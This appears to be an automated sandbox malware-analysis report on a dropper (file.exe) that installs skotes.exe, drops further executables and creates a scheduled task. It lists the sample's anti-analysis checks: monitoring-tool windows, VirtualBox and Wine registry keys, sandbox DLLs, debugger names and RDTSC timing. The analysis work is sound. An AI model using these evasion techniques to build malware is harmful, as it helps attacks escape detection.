Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, kW9HmCxyetpQAMuVTh.cs	High entropy of concatenated method names: 'B4EY2HTA96', 'tjLY0cL2oW', 'ToString', 'SL4YAxcWwJ', 'm4LYvqbAov', 'da0Y86o3co', 'eBoYpaPGfO', 'u9OYExBCLU', 'XLZYDfA5Zv', 'FNWYuiAGP9'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, h4sA0M8cttu3AytW4c.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'wZugGmaL8i', 'ha8gJA1RWm', 'V4MgzaOvO1', 'BP2LwNctoJ', 'b2OLt8fklN', 'v8KLgnAYIR', 'CoaLL4pSjq', 'rhkvKsOqB4AoFwpNVuE'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, jlRAYdtgdxajSA6E8R8.cs	High entropy of concatenated method names: 'ToString', 'HJOXyatoQc', 'HbrXZN39uU', 'f9lXUD04Q0', 'h0EXlLpsnC', 'U0VXq7VWZ8', 'vA0XKVxR97', 'RmwXBo7iEF', 'X9cjWC4ERJXLKpchTEI', 'b6s36i4tdB4eINPNVuv'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, Vg8SFAZKU2UXfLCq7R.cs	High entropy of concatenated method names: 'FaF83g5fqh', 'HCh8TdkOGl', 'h218yq9Hx1', 'qSf8ZYs5Rj', 'y5O8nk5Gab', 'OEJ8omaiWo', 'kuI8Yne6ML', 'rxE84qPFgo', 'iWa8hOoeHR', 'W1Z8NMIFqu'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, mktlYdcWP30buDWU1j.cs	High entropy of concatenated method names: 'i4cDFNeWDj', 'q18DPfh7OM', 'RSLDVMSq0l', 'sEHD391MZV', 'tp6DMMHeJx', 'KHjDTXaYZu', 'fOdDIiHR4P', 'Y1kDyV7ttr', 'LmCDZKJOGy', 'V9SDUikGuS'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, kVdiZvv5P10CtuHo1D.cs	High entropy of concatenated method names: 'Dispose', 'iPotGt2L65', 'J8ngqOtylN', 'zH0DLI3w8a', 'yDrtJBfP4Q', 'Khhtz4QRe4', 'ProcessDialogKey', 'krOgwMspwX', 'Y7GgtGwaQ4', 'bEXggGYnGd'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, p70yJbu5bF4vKhUO1a.cs	High entropy of concatenated method names: 'XR7LSXCnhI', 'k5LLApS7HO', 'D54LvXvPbY', 'CDZL82WCng', 'LaNLpus8uU', 'q5rLEyYh8n', 'TXULDqLrnl', 'RF5LukqDTl', 'iifLOaksHF', 'EbrL2A4nir'
Source: 12.2.521206d971.exe.43b8910.1.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	High entropy of concatenated method names: 'U3nvfX1V1H', 'HmYviIvu6Q', 'AKRvjubO1u', 'F8evxEdJFk', 'JDJv11Bqvn', 'PmKvkNJ071', 'KlGv9VILIB', 'L67v5pysNH', 'vlRvGOFpyb', 'etWvJdsqte'

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018149001\b4955bcdf6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1018145001\521206d971.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 521206d971.exe PID: 6448, type: MEMORYSTR

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37036
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9686

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1018143001\623cea31e9.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	System information queried: FirmwareTableInformation			Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018144001\0a60e3a257.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: PROCMON.EXE
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: X64DBG.EXE
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000003074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLT-^Q
Source: 521206d971.exe, 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLLCUCKOOMON.DLL
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: WINDBG.EXE
Source: a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 9c795b1b74.exe, 0000000F.00000003.2721196799.0000000006F4F000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000003.2840711259.00000000079A6000.00000004.00001000.00020000.00000000.sdmp, a219613819.exe, 00000010.00000002.2881489328.0000000000EBD000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F278 second address: 106F282 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6940DA84ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F282 second address: 106EB4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a jmp 00007F6940DA8850h 0x0000000f mov dword ptr [ebp+122D3A07h], edx 0x00000015 popad 0x00000016 push dword ptr [ebp+122D0A6Dh] 0x0000001c pushad 0x0000001d mov edx, edi 0x0000001f mov ecx, dword ptr [ebp+122D2C28h] 0x00000025 popad 0x00000026 jmp 00007F6940DA8855h 0x0000002b call dword ptr [ebp+122D3A40h] 0x00000031 pushad 0x00000032 stc 0x00000033 jmp 00007F6940DA884Dh 0x00000038 xor eax, eax 0x0000003a jg 00007F6940DA884Eh 0x00000040 jo 00007F6940DA8848h 0x00000046 pushad 0x00000047 popad 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c xor dword ptr [ebp+122D26C5h], eax 0x00000052 mov dword ptr [ebp+122D2B34h], eax 0x00000058 mov dword ptr [ebp+122D1C27h], ebx 0x0000005e mov esi, 0000003Ch 0x00000063 xor dword ptr [ebp+122D399Ah], ebx 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d or dword ptr [ebp+122D1C27h], ecx 0x00000073 lodsw 0x00000075 xor dword ptr [ebp+122D399Ah], edx 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f or dword ptr [ebp+122D399Ah], edx 0x00000085 mov dword ptr [ebp+122D399Ah], esi 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f mov dword ptr [ebp+122D26C5h], ecx 0x00000095 nop 0x00000096 push eax 0x00000097 push edx 0x00000098 push eax 0x00000099 push edx 0x0000009a push edi 0x0000009b pop edi 0x0000009c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB4A second address: 106EB54 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6940DA84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106EB54 second address: 106EB6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA884Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E06C3 second address: 11E06E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6940DA84F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F6940DA851Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E06E6 second address: 11E06EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
